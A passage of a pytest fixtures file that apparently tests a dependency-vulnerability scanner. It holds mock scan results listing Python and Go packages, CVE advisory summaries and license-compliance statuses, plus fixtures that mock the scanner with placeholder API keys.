choice to a known safe list are unaffected.', 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'Critical severity', 'Has fix', 'Recent vulnerability'], 'publishedDate': '2022-07-04T16:15:00Z'}, {'cveId': 'CVE-2022-41323', 'status': 'fixed in 4.1.2, 4.0.8, 3.2.16', 'severity': 'high', 'packageName': 'django', 'packageVersion': '3.2.8', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2022-41323', 'cvss': 7.5, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'description': 'In Django 3.2 before 3.2.16, 4.0 before 4.0.8, and 4.1 before 4.1.2, internationalized URLs were subject to a potential denial of service attack via the locale parameter, which is treated as a regular expression.', 'riskFactors': ['Has fix', 'High severity', 'Recent vulnerability', 'Attack complexity: low', 'Attack vector: network', 'DoS'], 'publishedDate': '2022-10-16T06:15:00Z'}, {'cveId': 'CVE-2022-35918', 'status': 'fixed in 1.11.1', 'severity': 'moderate', 'packageName': 'streamlit', 'packageVersion': '0.88.0', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2022-35918', 'cvss': 4, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N', 'description': 'Streamlit is a data oriented application development framework for python. Users hosting Streamlit app(s) that use custom components are vulnerable to a directory traversal attack that could leak data from their web server file-system such as: server logs, world readable files, and potentially other sensitive information. An attacker can craft a malicious URL with file paths and the streamlit server would process that URL and return the contents of that file. This issue has been resolved in version 1.11.1. Users are advised to upgrade. There are no known workarounds for this issue.', 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'Has fix', 'Medium severity', 'Recent vulnerability'], 'publishedDate': '2022-08-06T05:51:50Z'}, {'cveId': 'CVE-2021-23727', 'status': 'fixed in 5.2.2', 'severity': 'high', 'packageName': 'celery', 'packageVersion': '5.1.2', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2021-23727', 'cvss': 7.5, 'vector': 'CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H', 'description': 'This affects the package celery before 5.2.2. It by default trusts the messages and metadata stored in backends (result stores). When reading task metadata from the backend, the data is deserialized. Given that an attacker can gain access to, or somehow manipulate the metadata within a celery backend, they could trigger a stored command injection vulnerability and potentially gain further access to the system.', 'riskFactors': ['Attack vector: network', 'Has fix', 'High severity', 'Recent vulnerability'], 'publishedDate': '2021-12-29T17:15:00Z'}, {'cveId': 'PRISMA-2021-0198', 'status': 'fixed in 3.8.0a0', 'severity': 'high', 'packageName': 'aiohttp', 'packageVersion': '3.7.4', 'link': 'https://github.com/aio-libs/aiohttp/issues/4818', 'cvss': 7.5, 'vector': None, 'description': 'aiohttp package versions before 3.8.0a0 are vulnerable to HTTP Header Injection. aiohttp concatenating server-response\\\\client-request header without any validation, some of the header values based on user input. An attacker can craft urls that will force this handler to return any custom http-headers, or skip some of the existing ones, or break http payload', 'riskFactors': ['Has fix', 'High severity'], 'publishedDate': '2021-12-23T15:55:14Z'}, {'cveId': 'CVE-2022-35920', 'status': 'fixed in 22.6.1, 21.12.2, 20.12.7', 'severity': 'high', 'packageName': 'sanic', 'packageVersion': '21.9.1', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2022-35920', 'cvss': 7.5, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N', 'description': 'Sanic is an opensource python web server/framework. Affected versions of sanic allow access to lateral directories when using `app.static` if using encoded `%2F` URLs. Parent directory traversal is not impacted. Users are advised to upgrade. There is no known workaround for this issue.', 'riskFactors': ['Attack vector: network', 'Has fix', 'High severity', 'Recent vulnerability', 'Attack complexity: low'], 'publishedDate': '2022-08-01T22:15:00Z'}], 'name': 'requirements.txt', 'filePath': '/requirements.txt', 'fileContent': None, 'packages': [{'type': 'python', 'name': 'wrapt', 'version': '1.13.2', 'licenses': []}, {'type': 'python', 'name': 'elasticsearch', 'version': '7.15.1', 'licenses': []}, {'type': 'python', 'name': 'streamlit', 'version': '0.88.0', 'licenses': []}, {'type': 'python', 'name': 'uvicorn', 'version': '0.11.8', 'licenses': []}, {'type': 'python', 'name': 'multidict', 'version': '5.2.0', 'licenses': []}, {'type': 'python', 'name': 'pyramid', 'version': '2.0', 'licenses': []}, {'type': 'python', 'name': 'mysqlclient', 'version': '2.1.0', 'licenses': []}, {'type': 'python', 'name': 'uvicorn', 'version': '0.16.0', 'licenses': []}, {'type': 'python', 'name': 'fastapi', 'version': '0.70.1', 'licenses': []}, {'type': 'python', 'name': 'requests', 'version': '2.26.0', 'licenses': []}, {'type': 'python', 'name': 'urllib3', 'version': '1.26.7', 'licenses': []}, {'type': 'python', 'name': 'django', 'version': '3.2.8', 'licenses': []}, {'type': 'python', 'name': 'psycopg', 'version': '3.0.1', 'licenses': []}, {'type': 'python', 'name': 'kafka-python', 'version': '2.0', 'licenses': []}, {'type': 'python', 'name': 'hug', 'version': '2.6.1', 'licenses': []}, {'type': 'python', 'name': 'redis', 'version': '3.5.3', 'licenses': []}, {'type': 'python', 'name': 'pymongo', 'version': '3.12.0', 'licenses': []}, {'type': 'python', 'name': 'tornado', 'version': '6.1', 'licenses': []}, {'type': 'python', 'name': 'grpcio_tools', 'version': '1.41.0', 'licenses': []}, {'type': 'python', 'name': 'testcontainers', 'version': '3.4.2', 'licenses': []}, {'type': 'python', 'name': 'flask', 'version': '2.0.2', 'licenses': []}, {'type': 'python', 'name': 'gevent', 'version': '21.8.0', 'licenses': []}, {'type': 'python', 'name': 'packaging', 'version': '21.0', 'licenses': []}, {'type': 'python', 'name': 'contextvars', 'version': '2.4', 'licenses': []}, {'type': 'python', 'name': 'yarl', 'version': '1.7.0', 'licenses': []}, {'type': 'python', 'name': 'gunicorn', 'version': '20.1.0', 'licenses': []}, {'type': 'python', 'name': 'pyyaml', 'version': '6.0', 'licenses': []}, {'type': 'python', 'name': 'pytest', 'version': '', 'licenses': []}, {'type': 'python', 'name': 'celery', 'version': '5.1.2', 'licenses': []}, {'type': 'python', 'name': 'pika', 'version': '1.2.0', 'licenses': []}, {'type': 'python', 'name': 'pymysql', 'version': '1.0.2', 'licenses': []}, {'type': 'python', 'name': 'aiohttp', 'version': '3.7.4', 'licenses': []}, {'type': 'python', 'name': 'protobuf', 'version': '3.18.1', 'licenses': []}, {'type': 'python', 'name': 'sanic', 'version': '21.9.1', 'licenses': []}, {'type': 'python', 'name': 'werkzeug', 'version': '2.0.2', 'licenses': []}], 'cicdDetails': {'runId': 1, 'pr': '', 'commit': '', 'scaCliScanId': '1670509263116'}, 'customerName': 'ajbara', 'email': 'ajbara@paloaltonetworks.com', 'license_statuses': [ {'packageName': 'pymysql', 'packageVersion': '1.0.2', 'packageLang': 'python', 'license': 'MIT', 'status': 'COMPLIANT', 'policy': 'BC_LIC_1'}, {'packageName': 'pyyaml', 'packageVersion': '6.0', 'packageLang': 'python', 'license': 'MIT', 'status': 'COMPLIANT', 'policy': 'BC_LIC_1'}, {'packageName': 'pika', 'packageVersion': '1.2.0', 'packageLang': 'python', 'license': 'OSI_BSD', 'status': 'COMPLIANT', 'policy': 'BC_LIC_1'}, {'packageName': 'requests', 'packageVersion': '2.26.0', 'packageLang': 'python', 'license': 'OSI_APACHE', 'status': 'COMPLIANT', 'policy': 'BC_LIC_1'}, {'packageName': 'kafka-python', 'packageVersion': '2.0', 'packageLang': 'python', 'license': 'OSI_APACHE', 'status': 'COMPLIANT', 'policy': 'BC_LIC_1'}, {'packageName': 'pyramid', 'packageVersion': '2.0', 'packageLang': 'python', 'license': 'BSD-derived (Repoze)', 'status': 'OPEN', 'policy': 'BC_LIC_2'}, {'packageName': 'multidict', 'packageVersion': '5.2.0', 'packageLang': 'python', 'license': 'OSI_APACHE', 'status': 'COMPLIANT', 'policy': 'BC_LIC_1'}, {'packageName': 'tornado', 'packageVersion': '6.1', 'packageLang': 'python', 'license': 'OSI_APACHE', 'status': 'COMPLIANT', 'policy': 'BC_LIC_1'}, {'packageName': 'protobuf', 'packageVersion': '3.18.1', 'packageLang': 'python', 'license': '3-Clause BSD License', 'status': 'OPEN', 'policy': 'BC_LIC_2'}, {'packageName': 'django', 'packageVersion': '3.2.8', 'packageLang': 'python', 'license': 'OSI_BSD', 'status': 'COMPLIANT', 'policy': 'BC_LIC_1'}, {'packageName': 'gunicorn', 'packageVersion': '20.1.0', 'packageLang': 'python', 'license': 'MIT', 'status': 'COMPLIANT', 'policy': 'BC_LIC_1'}, {'packageName': 'wrapt', 'packageVersion': '1.13.2', 'packageLang': 'python', 'license': 'OSI_BSD', 'status': 'COMPLIANT', 'policy': 'BC_LIC_1'}, {'packageName': 'packaging', 'packageVersion': '21.0', 'packageLang': 'python', 'license': 'OSI_APACHE', 'status': 'COMPLIANT', 'policy': 'BC_LIC_1'}, {'packageName': 'packaging', 'packageVersion': '21.0', 'packageLang': 'python', 'license': 'OSI_BSD', 'status': 'COMPLIANT', 'policy': 'BC_LIC_1'}, {'packageName': 'urllib3', 'packageVersion': '1.26.7', 'packageLang': 'python', 'license': 'MIT', 'status': 'COMPLIANT', 'policy': 'BC_LIC_1'}, {'packageName': 'aiohttp', 'packageVersion': '3.7.4', 'packageLang': 'python', 'license': 'OSI_APACHE', 'status': 'COMPLIANT', 'policy': 'BC_LIC_1'}, {'packageName': 'grpcio_tools', 'packageVersion': '1.41.0', 'packageLang': 'python', 'license': 'OSI_APACHE', 'status': 'COMPLIANT', 'policy': 'BC_LIC_1'}, {'packageName': 'contextvars', 'packageVersion': '2.4', 'packageLang': 'python', 'license': 'OSI_APACHE', 'status': 'COMPLIANT', 'policy': 'BC_LIC_1'}, {'packageName': 'redis', 'packageVersion': '3.5.3', 'packageLang': 'python', 'license': 'MIT', 'status': 'COMPLIANT', 'policy': 'BC_LIC_1'}, {'packageName': 'sanic', 'packageVersion': '21.9.1', 'packageLang': 'python', 'license': 'MIT', 'status': 'COMPLIANT', 'policy': 'BC_LIC_1'}, {'packageName': 'hug', 'packageVersion': '2.6.1', 'packageLang': 'python', 'license': 'MIT', 'status': 'COMPLIANT', 'policy': 'BC_LIC_1'}, {'packageName': 'celery', 'packageVersion': '5.1.2', 'packageLang': 'python', 'license': 'OSI_BSD', 'status': 'COMPLIANT', 'policy': 'BC_LIC_1'}, {'packageName': 'mysqlclient', 'packageVersion': '2.1.0', 'packageLang': 'python', 'license': 'GPL-1.0', 'status': 'OPEN', 'policy': 'BC_LIC_1'}, {'packageName': 'werkzeug', 'packageVersion': '2.0.2', 'packageLang': 'python', 'license': 'OSI_BSD', 'status': 'COMPLIANT', 'policy': 'BC_LIC_1'}, {'packageName': 'testcontainers', 'packageVersion': '3.4.2', 'packageLang': 'python', 'license': 'OSI_APACHE', 'status': 'COMPLIANT', 'policy': 'BC_LIC_1'}, {'packageName': 'flask', 'packageVersion': '2.0.2', 'packageLang': 'python', 'license': 'OSI_BSD', 'status': 'COMPLIANT', 'policy': 'BC_LIC_1'}, {'packageName': 'gevent', 'packageVersion': '21.8.0', 'packageLang': 'python', 'license': 'MIT', 'status': 'COMPLIANT', 'policy': 'BC_LIC_1'}, {'packageName': 'yarl', 'packageVersion': '1.7.0', 'packageLang': 'python', 'license': 'OSI_APACHE', 'status': 'COMPLIANT', 'policy': 'BC_LIC_1'}, {'packageName': 'fastapi', 'packageVersion': '0.70.1', 'packageLang': 'python', 'license': 'MIT', 'status': 'COMPLIANT', 'policy': 'BC_LIC_1'}, {'packageName': 'psycopg', 'packageVersion': '3.0.1', 'packageLang': 'python', 'license': 'LGPL-3.0', 'status': 'COMPLIANT', 'policy': 'BC_LIC_1'}, {'packageName': 'pymongo', 'packageVersion': '3.12.0', 'packageLang': 'python', 'license': 'OSI_APACHE', 'status': 'COMPLIANT', 'policy': 'BC_LIC_1'}, {'packageName': 'elasticsearch', 'packageVersion': '7.15.1', 'packageLang': 'python', 'license': 'OSI_APACHE', 'status': 'COMPLIANT', 'policy': 'BC_LIC_1'}, {'packageName': 'uvicorn', 'packageVersion': '0.16.0', 'packageLang': 'python', 'license': 'OSI_BSD', 'status': 'COMPLIANT', 'policy': 'BC_LIC_1'}, {'packageName': 'streamlit', 'packageVersion': '0.88.0', 'packageLang': 'python', 'license': 'Apache-2.0', 'status': 'COMPLIANT', 'policy': 'BC_LIC_1'}, {'packageName': 'uvicorn', 'packageVersion': '0.11.8', 'packageLang': 'python', 'license': 'OSI_BSD', 'status': 'COMPLIANT', 'policy': 'BC_LIC_1'}]} } @pytest.fixture(scope='package') def scan_result_2_with_comma_in_licenses() -> Dict[str, Any]: return { "/path/to/requirements.txt": { "repository": "/path/to/requirements.txt", "passed": True, "packages": [ { "type": "python", "name": "requests", "version": "2.26.0", "path": "/path/to/requirements.txt", }, { "type": "python", "name": "django", "version": "1.2", "path": "/path/to/requirements.txt", }, { "type": "python", "name": "flask", "version": "0.6", "path": "/path/to/requirements.txt", }, ], "complianceIssues": None, "complianceDistribution": {"critical": 0, "high": 0, "medium": 0, "low": 0, "total": 0}, "vulnerabilities": [ { "id": "CVE-2019-19844", "status": "fixed in 3.0.1, 2.2.9, 1.11.27", "cvss": 9.8, "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "description": "Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover. A suitably crafted email address (that is equal to an existing user\\'s email address after case transformation of Unicode characters) would allow an attacker to be sent a password reset token for the matched user account. (One mitigation in the new releases is to send password reset tokens only to the registered user email address.)", "severity": "critical", "packageName": "django", "packageVersion": "1.2", "link": "https://nvd.nist.gov/vuln/detail/CVE-2019-19844", "riskFactors": ["Attack complexity: low", "Attack vector: network", "Critical severity", "Has fix"], "impactedVersions": ["<1.11.27"], "publishedDate": "2019-12-18T20:15:00+01:00", "discoveredDate": "2019-12-18T19:15:00Z", "fixDate": "2019-12-18T20:15:00+01:00", }, { "id": "CVE-2016-6186", "status": "fixed in 1.9.8, 1.8.14", "cvss": 6.1, "vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "description": "Cross-site scripting (XSS) vulnerability in the dismissChangeRelatedObjectPopup function in contrib/admin/static/admin/js/admin/RelatedObjectLookups.js in Django before 1.8.14, 1.9.x before 1.9.8, and 1.10.x before 1.10rc1 allows remote attackers to inject arbitrary web script or HTML via vectors involving unsafe usage of Element.innerHTML.", "severity": "medium", "packageName": "django", "packageVersion": "1.2", "link": "https://nvd.nist.gov/vuln/detail/CVE-2016-6186", "riskFactors": [ "Attack complexity: low", "Attack vector: network", "Exploit exists", "Has fix", "Medium severity", ], "impactedVersions": ["<=1.8.13"], "publishedDate": "2016-08-05T17:59:00+02:00", "discoveredDate": "2016-08-05T15:59:00Z", "fixDate": "2016-08-05T17:59:00+02:00", }, { "id": "CVE-2016-7401", "status": "fixed in 1.9.10, 1.8.15", "cvss": 7.5, "vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "description": "The cookie parsing code in Django before 1.8.15 and 1.9.x before 1.9.10, when used on a site with Google Analytics, allows remote attackers to bypass an intended CSRF protection mechanism by setting arbitrary cookies.", "severity": "high", "packageName": "django", "packageVersion": "1.2", "link": "https://nvd.nist.gov/vuln/detail/CVE-2016-7401", "riskFactors": ["High severity", "Attack complexity: low", "Attack vector: network", "Has fix"], "impactedVersions": ["<=1.8.14"], "publishedDate": "2016-10-03T20:59:00+02:00", "discoveredDate": "2016-10-03T18:59:00Z", "fixDate": "2016-10-03T20:59:00+02:00", }, { "id": "CVE-2021-33203", "status": "fixed in 3.2.4, 3.1.12, 2.2.24", "cvss": 4.9, "vector": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "description": "Django before 2.2.24, 3.x before 3.1.12, and 3.2.x before 3.2.4 has a potential directory traversal via django.contrib.admindocs. Staff members could use the TemplateDetailView view to check the existence of arbitrary files. Additionally, if (and only if) the default admindocs templates have been customized by application developers to also show file contents, then not only the existence but also the file contents would have been exposed. In other words, there is directory traversal outside of the template root directories.", "severity": "medium", "packageName": "django", "packageVersion": "1.2", "link": "https://nvd.nist.gov/vuln/detail/CVE-2021-33203", "riskFactors": [ "Attack complexity: low", "Attack vector: network", "Has fix", "Medium severity", "Recent vulnerability", ], "impactedVersions": ["<2.2.24"], "publishedDate": "2021-06-08T20:15:00+02:00", "discoveredDate": "2021-06-08T18:15:00Z", "fixDate": "2021-06-08T20:15:00+02:00", }, { "id": "CVE-2019-1010083", "status": "fixed in 1.0", "cvss": 7.5, "vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "description": "The Pallets Project Flask before 1.0 is affected by: unexpected memory usage. The impact is: denial of service. The attack vector is: crafted encoded JSON data. The fixed version is: 1. NOTE: this may overlap CVE-2018-1000656.", "severity": "high", "packageName": "flask", "packageVersion": "0.6", "link": "https://nvd.nist.gov/vuln/detail/CVE-2019-1010083", "riskFactors": [ "Attack complexity: low", "Attack vector: network", "DoS", "Has fix", "High severity", ], "impactedVersions": ["<1.0"], "publishedDate": "2019-07-17T16:15:00+02:00", "discoveredDate": "2019-07-17T14:15:00Z", "fixDate": "2019-07-17T16:15:00+02:00", }, { "id": "CVE-2018-1000656", "status": "fixed in 0.12.3", "cvss": 7.5, "vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "description": "The Pallets Project flask version Before 0.12.3 contains a CWE-20: Improper Input Validation vulnerability in flask that can result in Large amount of memory usage possibly leading to denial of service. This attack appear to be exploitable via Attacker provides JSON data in incorrect encoding. This vulnerability appears to have been fixed in 0.12.3. NOTE: this may overlap CVE-2019-1010083.", "severity": "high", "packageName": "flask", "packageVersion": "0.6", "link": "https://nvd.nist.gov/vuln/detail/CVE-2018-1000656", "riskFactors": [ "Attack complexity: low", "Attack vector: network", "DoS", "Has fix", "High severity", ], "impactedVersions": ["<0.12.3"], "publishedDate": "2018-08-20T21:31:00+02:00", "discoveredDate": "2018-08-20T19:31:00Z", "fixDate": "2018-08-20T21:31:00+02:00", }, ], "vulnerabilityDistribution": {"critical": 1, "high": 3, "medium": 2, "low": 0, "total": 6}, "license_statuses": [ { "packageName": "django", "packageVersion": "1.2", "packageLang": "python", "license": "OSI_BDS", "status": "COMPLIANT", "policy": "BC_LIC_1" }, { "packageName": "flask", "packageVersion": "0.6", "packageLang": "python", "license": "OSI_APACHE", "status": "COMPLIANT", "policy": "BC_LIC_1" }, { "packageName": "flask", "packageVersion": "0.6", "packageLang": "python", "license": 'DUMMY_OTHER_LICENSE, ANOTHER_DOMMY_LICENSE', # for testing a comma inside licenses "status": "OPEN", "policy": "BC_LIC_1" }, { "packageName": "requests", "packageVersion": "2.26.0", "packageLang": "python", "license": "OSI_APACHE", "status": "COMPLIANT", "policy": "BC_LIC_1" } ], }, "/path/to/sub/requirements.txt": { "repository": "/path/to/sub/requirements.txt", "passed": True, "packages": [ { "type": "python", "name": "requests", "version": "2.26.0", "path": "/path/to/sub/requirements.txt", } ], "complianceIssues": None, "complianceDistribution": {"critical": 0, "high": 0, "medium": 0, "low": 0, "total": 0}, "vulnerabilities": None, "vulnerabilityDistribution": {"critical": 0, "high": 0, "medium": 0, "low": 0, "total": 0}, "license_statuses": [ { "packageName": "requests", "packageVersion": "2.26.0", "packageLang": "python", "license": "OSI_APACHE", "status": "COMPLIANT", "policy": "BC_LIC_1" } ], }, "/path/to/go.sum": { "repository": "/path/to/go.sum", "passed": True, "packages": [ { "type": "go", "name": "github.com/miekg/dns", "version": "v1.1.41", "path": "/path/to/go.sum", }, { "type": "go", "name": "golang.org/x/crypto", "version": "v0.0.1", "path": "/path/to/go.sum", }, { "type": "go", "name": "github.com/dgrijalva/jwt-go", "version": "v3.2.0", "path": "/path/to/go.sum", }, { "type": "go", "name": "github.com/prometheus/client_model", "version": "v0.0.0-20190129233127-fd36f4220a90", "path": "/path/to/go.sum", } ], "complianceIssues": None, "complianceDistribution": {"critical": 0, "high": 0, "medium": 0, "low": 0, "total": 0}, "vulnerabilities": [ { "id": "CVE-2020-29652", "status": "fixed in v0.0.2", "cvss": 7.5, "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "description": "A nil pointer dereference in the golang.org/x/crypto/ssh component through v0.0.3 for Go allows remote attackers to cause a denial of service against SSH servers.", "severity": "high", "packageName": "golang.org/x/crypto", "packageVersion": "v0.0.1", "link": "https://nvd.nist.gov/vuln/detail/CVE-2020-29652", "riskFactors": [ "Has fix", "High severity", "Attack complexity: low", "Attack vector: network", "DoS", ], "impactedVersions": [" Dict[str, Any]: return {'outputType': 'Result', 'outputData': "H4sIAN22X2IC/8WY23LbOBKGX6VLN5tUWRQp" "+SCrZi88drL2VqKkLMUzNZu5gEjIQkwSXAKUrU3l3fdvgDofnNS4MheJKbIJdAP" "/193g10YpC22U1eWs0aNGy2ZFq5SmSq3B3/9WqpSZzK0J7JNtHFGjEMbIBKa2rKT7HT" "+Ie2lw5z9fG3ZWSB6mmNmJztk+F5m7k3wR+b3mO1NZGoWHuBkFbT+mnTw" "/+bcjOjTBOBXmYWP8MDh9sfHZXhprNqZoB+3TIPyBWf6EaayzIlUij" "+WNMZVbvLxK07UnV8rYUo0q6yf62ohLZVUsUvwIYTlR95P6MpOJqrL6R6of6yurrbf+xi5XaS5LMVIpRplvl" "+KNbFzevWm2w+i0eRp13XoZK2xl3KKqJ5mQyikKzoPuEf50g+iYbeKpYYvTIHLrEUNAfqzBoNcJwtbFXa" "/furjsvWt9vMXVp5vebWvQu2zxnRv8u+j1eZhEGsRV1EE2LkttTBNylFTfz+/p1e" "+DwWtaDWDGLtmJpESZTBlzOYG45K1MhZXJh9EXuPNRF1VB4yqPeWy2j3XOC9oSSabyFseo4vrHF1NfrA3x" "TuuHqjDBF8OvXzkB00iOdSnrhThy6/K0vOkWSeQJLqNw9UEUlnFEIsXuGIIeNCIU1gIeSImsxgw8JYlypGw" "pyhk9ylG9BqRLuh6+f0dTJcgvNXs01emUl6fKjRhLqgwwJD2mN6mTW6ByrBe/F7g9lRAtVo5XudbLkt7+Fq" "T1g7stVlOVP/DPibWF6bVa+TQJckg1uNfTFu9RK5FWqLS1papSmYe3wnnP6mtcuPDJKV4+wbUesXZhWT/xoQ" "INaR916dh+81SkWlmCfY3itTAElfLlexcWLSJl0lSGSLCjdSB+5l/+6bav4yyKapQqM5HJFXbeEc1Oh91meD" "KMTnon570w/MNJVZlYY+jnLeHPQROXaTbYOzsOowPsRWEN38kKfGfByffC1wd8nwBfH/Bd74FvCKBiaF5JKgS" "WC9qKdSL3iP+k1vmG/tnRx4nMoUd4D/IEOZwflZ3Qv7S+TyVd5CKdgT5zdIiI0YxrDWaBA1bmCYa7HNy+paKE" "qac6kzHIRw6AMfbdunSxRMgHY7b071LnT1L/fF9fQv0rWr9GCN+v9OMDSo/CZtgZRt3nlb7DclPpmybbSj9vR" "ufd4+M9Uod4uaCgqAbnLPgI6362oniXX7cVHx1Q/HWt+Osdit+UtZuOp19IuvaEpd5Z3nVuzrUr4lhXuSUrHi" "SvWkAXZCplxSiFBEsxxqaQzKAKEkmCxsDQKzsRlpQhdAciZbFD5S6nuYRuZPn58z/Mxks8UEmxMBK9l8gNPMmE" "wwBJ/1OuHKvgoWQZlOY1PeoqTbyXPP4cLscW6itqBOBkxqCvBAgCIDx7ALsY2pVXjB9DL86jeZwBvfqQ4xHaiH" "sxr61snMtHDJJKOGg4NkyDOZKdMxhkBqwOTPjNUt4jdNabn2kt7uD1Jr6LRuinILwi2Jdg+LJ2fgnvCtj7OZ6js" "I9jeNluRt1hdN5DnTnE8U7LdY63TbY4bkfNTqcddvZy3A7QHYHMIGp7nturbeMxQ/Usx9ebHPf3VK51jv1sR+vA" "ekc8x+3VB3CUJlh/oIC6kluFvUnQsrNrMyaNm33c4+bLyyuoO8nA9YyJjk1AAyvGY9SjbMTVK3bkVUwq5D2U0Ad" "W98rp6k6Bkyn/B/WDLsiEjRz9En0/07wsYWOVooDRRZIoDhYwz45IjekVR+IYUuPXvhWWY4EjBy2cIlvPaxDfVC" "JikB1XxupM/Q/bhJIpChw2Yk9xAj2muqiLr0gN8J0gc7AHrnfmI8wRT5VTrm0N8JrnOKz4F/n22nt1Llr6IZ9w6p" "RJQDdIXzAviVOEHx/bgvSxaw90ZY1K3BLxFPMAqdRwaP7Cror/EzveVTJeuOhvNri4dStjzuNrh6MDaaQGcU8Wge" "shd6tcwA9nkd2Wa1lkh8l2N9BFxxCGpyf7jp0os+2g89db3v6eBoBb3o+ASkKiH0vtjmDuQwLVR3z61ecJ74jTs1" "A5Z4vL3ziCHt1kaEiBDZRcQP93IlWJJ2rrxOpHdrU/RkH23wj4wTtR4uwmMtdHaJdHWPj+SAdQjOJeAqU14f4AeC" "Yy5zwFU9TLqYplQMMJoPE1nrmWYl7opT8zoR2RLoldzPsA+D0FTYb+PfjQJzgt2BeVx7pkkghMa56wHns9HD+Fyx" "VLqjf2LaD+h+GbHiLG65mYEcsoFQUtS2uI/e92vrdDX3zj2Ya1/tTzo9V9TYB7cN0B5ZUeHGzIl0Rvsr6fzVrr+y" "p8l4+R7ZCLcic6WOF3Wq5X+G2TnZ263529x9Lw54L51uGzaNZDrhKoupKXEtWsR1UOrfufqwSxflFS3KLjnd5ueu" "anz3q7neGie2cS8HcBin/BL8U8U/AL0XOSX+jt75P82r6+RIV6DoZDXW14oKMNz5rR2TA6fr6j3WG52dFumrjvsG" "sp7dAH12j5wbWz+sG1vfOD6+m3b/8HQd/FwVgXAAA=", 'compressionMethod': 'gzip'} @pytest.fixture(scope='package') @mock.patch.dict(os.environ, {}) def sca_package_2_report(package_mocker: MockerFixture, scan_result_2: Dict[str, Any]) -> Report: bc_integration.bc_api_key = "abcd1234-abcd-1234-abcd-1234abcd1234" scanner_mock = MagicMock() scanner_mock.return_value.scan.return_value = scan_result_2 package_mocker.patch("checkov.sca_package_2.runner.Scanner", side_effect=scanner_mock) # package_mocker.patch() def none() -> None: pass bc_integration.set_s3_integration = none os.chdir(str(Path(__file__).parent.parent.parent)) return Runner().run(root_folder=EXAMPLES_DIR) @pytest.fixture(scope='package') @mock.patch.dict(os.environ, {}) def sca_package_report_dt(package_mocker: MockerFixture, scan_results_dt: Dict[str, Any]) -> Generator[Report, None, None]: orig_bc_api_key = bc_integration.bc_api_key orig_bc_source = bc_integration.bc_source orig_timestamp = bc_integration.timestamp bc_integration.bc_api_key = "abcd1234-abcd-1234-abcd-1234abcd1234" bc_integration.timestamp = "1700692537" bc_integration.bc_source = None scanner_mock = MagicMock() scanner_mock.return_value.scan.return_value = scan_results_dt package_mocker.patch("checkov.sca_package_2.runner.Scanner", side_effect=scanner_mock) os.chdir(str(Path(__file__).parent.parent.parent)) yield Runner().run(root_folder=EXAMPLES_DIR) bc_integration.bc_api_key = orig_bc_api_key bc_integration.bc_source = orig_bc_source bc_integration.timestamp = orig_timestamp @pytest.fixture(scope='package') def sca_package_report_2_with_comma_in_licenses(package_mocker: MockerFixture, scan_result_2_with_comma_in_licenses: List[Dict[str, Any]]) -> Report: bc_integration.bc_api_key = "abcd1234-abcd-1234-abcd-1234abcd1234" scanner_mock = MagicMock() scanner_mock.return_value.scan.return_value = scan_result_2_with_comma_in_licenses package_mocker.patch("checkov.sca_package_2.runner.Scanner", side_effect=scanner_mock) package_mocker.patch.dict(os.environ, {'CHECKOV_RUN_SCA_PACKAGE_SCAN_V2': 'true'}) return Runner().run(root_folder=EXAMPLES_DIR) def get_sca_package_2_report_with_skip(package_mocker: MockerFixture, scan_result_2: List[Dict[str, Any]]) -> Report: bc_integration.bc_api_key = "abcd1234-abcd-1234-abcd-1234abcd1234" scanner_mock = MagicMock() scanner_mock.return_value.scan.return_value = scan_result_2 package_mocker.patch("checkov.sca_package_2.runner.Scanner", side_effect=scanner_mock) runner_filter = RunnerFilter(skip_checks=["CKV_CVE_2020_29652"]) return Runner().run(root_folder=EXAMPLES_DIR, runner_filter=runner_filter) @pytest.fixture(scope='package') def sca_package_2_report_with_skip(package_mocker: MockerFixture, scan_result_2: List[Dict[str, Any]]) -> Report: return get_sca_package_2_report_with_skip(package_mocker, scan_result_2) @pytest.fixture(scope='function') def sca_package_report_2_with_skip_scope_function(package_mocker: MockerFixture, scan_result_2: List[Dict[str, Any]]) -> Report: return get_sca_package_2_report_with_skip(package_mocker, scan_result_2) def get_vulnerabilities_details_package_json() -> List[Dict[str, Any]]: return [ {'details': {'cveId': 'PRISMA-2021-0070', 'severity': 'medium', 'packageName': 'cypress', 'packageVersion': '3.8.3', 'link': '', 'cvss': 0, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 7.2.0', 'lowest_fixed_version': '7.2.0'}, 'root_package_version': '3.8.3', 'root_package_name': 'cypress'}, {'details': {'cveId': 'CVE-2021-44906', 'severity': 'critical', 'packageName': 'minimist', 'packageVersion': '1.2.5', 'link': '', 'cvss': 9.8, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 1.2.6'}, 'root_package_name': 'forever', 'root_package_version': '2.0.0'}, {'details': {'cveId': 'CVE-2022-21803', 'severity': 'high', 'packageName': 'nconf', 'packageVersion': '0.6.9', 'link': '', 'cvss': 7.5, 'vector': '', 'description': '', 'riskFactorsV2': {}, 'publishedDate': '', 'status': 'fixed in 0.11.4'}, 'root_package_name': 'forever', 'root_package_version': '2.0.0'}, {'details': {'cveId': 'CVE-2020-7598', 'severity': 'medium', 'packageName': 'minimist', 'packageVersion': '0.0.10', 'link': '', 'cvss': 5.6, 'vector': '', 'description': '', 